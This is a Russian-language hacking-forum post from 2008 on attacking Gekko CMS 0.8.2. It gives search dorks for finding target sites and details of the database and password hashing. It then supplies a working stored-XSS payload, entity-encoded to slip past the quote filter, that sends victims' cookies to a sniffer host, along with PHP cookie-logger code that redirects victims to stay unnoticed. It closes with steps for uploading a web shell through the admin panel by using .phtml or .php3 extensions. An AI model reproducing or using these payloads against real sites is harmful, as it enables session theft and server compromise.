[ Обзор уязвимостей Gekko CMS ]

Discussion in 'Веб-уязвимости' started by Grey, 3 Feb 2008.

  1. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    Gekko CMS

    gekko-portal-0.8.2

    [Общая информация]

    Офф сайт: http://www.gekkoware.ru/
    Для поиска сайтов с такой цмс вводим: "Powered by Gekko" или "© 2008 example.org"
    Стандартный префикс для таблиц: gekkocms_
    Таблица с пользователями: user
    Колонки с данными для авторизации: username и password
    Пароль хешируется, алгоритм хеширования: md5($username.$password)

    [Активная XSS]

    Из-за недостаточной фильтрации (фильтрация хоть и есть, но еще сырая) можно в разрешенные теги вписать скрипт.

    Проверял на форуме при создание/ответе на тему содержание поста - код скрипта:

    Code:
    <a href="javascript:alert(document.cookie);">text</a> - таким образом при нажатии на ссылку выполнится код (в данном случае алерт)
    Одинарные кавычки фильтруются (ровно как и двойные (кстати постить нужно именно в них)), но это легко обойти:

    Code:
    [COLOR=White][B]Кодируем[/B][/COLOR] alert('xss'); -> (кодируем) -> &#97&#108&#101&#114&#116&#40&#39&#120&#115&#115&#39&#41&#59
    Получаем:

    Code:
    <a href="javascript:&#97&#108&#101&#114&#116&#40&#39&#120&#115&#115&#39&#41&#59">text</a>
    Алерт алертом, но лучше стырить куки.
    Можно сделать к примеру что бы при нажатии на ссылку пользователь переходил на снифер и оставлял там куки:

    Code:
    document.location.replace('http://test2/q.php?q='+document.cookie); -> (кодируем) -> &#100&#111&#99&#117&#109&#101&#110&#116&#46&#108&#111&#99&#97&#116&#105&#111&#110&#46&#114&#101&#112&#108&#97&#99&#101&#40&#39&#104&#116&#116&#112&#58&#47&#47&#116&#101&#115&#116&#50&#47&#113&#46&#112&#104&#112&#63&#113&#61&#39&#43&#100&#111&#99&#117&#109&#101&#110&#116&#46&#99&#111&#111&#107&#105&#101&#41&#59
    Получаем:

    Code:
    <a href="javascript:&#100&#111&#99&#117&#109&#101&#110&#116&#46&#108&#111&#99&#97&#116&#105&#111&#110&#46&#114&#101&#112&#108&#97&#99&#101&#40&#39&#104&#116&#116&#112&#58&#47&#47&#116&#101&#115&#116&#50&#47&#113&#46&#112&#104&#112&#63&#113&#61&#39&#43&#100&#111&#99&#117&#109&#101&#110&#116&#46&#99&#111&#111&#107&#105&#101&#41&#59">text</a>
    По адресу http://test2/q.php?q= должен лежать наш снифер, который будет отлавливать куки:

    PHP:
    <?php

    $file 
    fopen('log.txt','a');
    fputs($file$_GET['q']."\r\n");
    fclose($file);

    ?>
    Что бы меньше палиться можно поставить редирет на какой нидь сайт:

    PHP:
    <?php

    $file 
    fopen('log.txt','a');
    fputs($file$_GET['q']."\r\n");
    fclose($file);

    header("Location: http://ya.ru");

    ?>
    Таким образом пользователь при переходе по ссылке попадет на снифер, оставит там свои куки и будет перемещен на какой нидь сайт.

    К сожалению в куках лежит индетификатор сессии, а это значит что пользоваться этими куками мы сможет пока пользователь не выйдет с сайта (т.е. его куки не будут удалены).
    Но с другой стороны что бы попасть в админку вводить пароль не требуется, а это нам на руку.

    ====================================

    Для кодирования вашего скрипта используйте сайт: http://ha.ckers.org/xss.html

    Так же советую прочитать статью: Темная сторона Xss - вней вы найдете други способы использования xss.

    [Заливка шелла]

    Если вы успешно пробрались в админку, то залить шелл уже не проблема:

    В админке переходим в 'Файлы' и заливаем файл, единственное но это то что расширение файла не может быть .php, но это уже не так страшно, подойжут любые из расширений: php3, phtml вообщем не важно какое главное что бы у аппача оно ассоциировалось с php.

    Все шелл будет доступен по адресу:

    http://site.ru/data/files/shell.phtml

    (с) Grey
     
    #1 Grey, 3 Feb 2008
    Last edited: 3 Feb 2008
    10 people like this.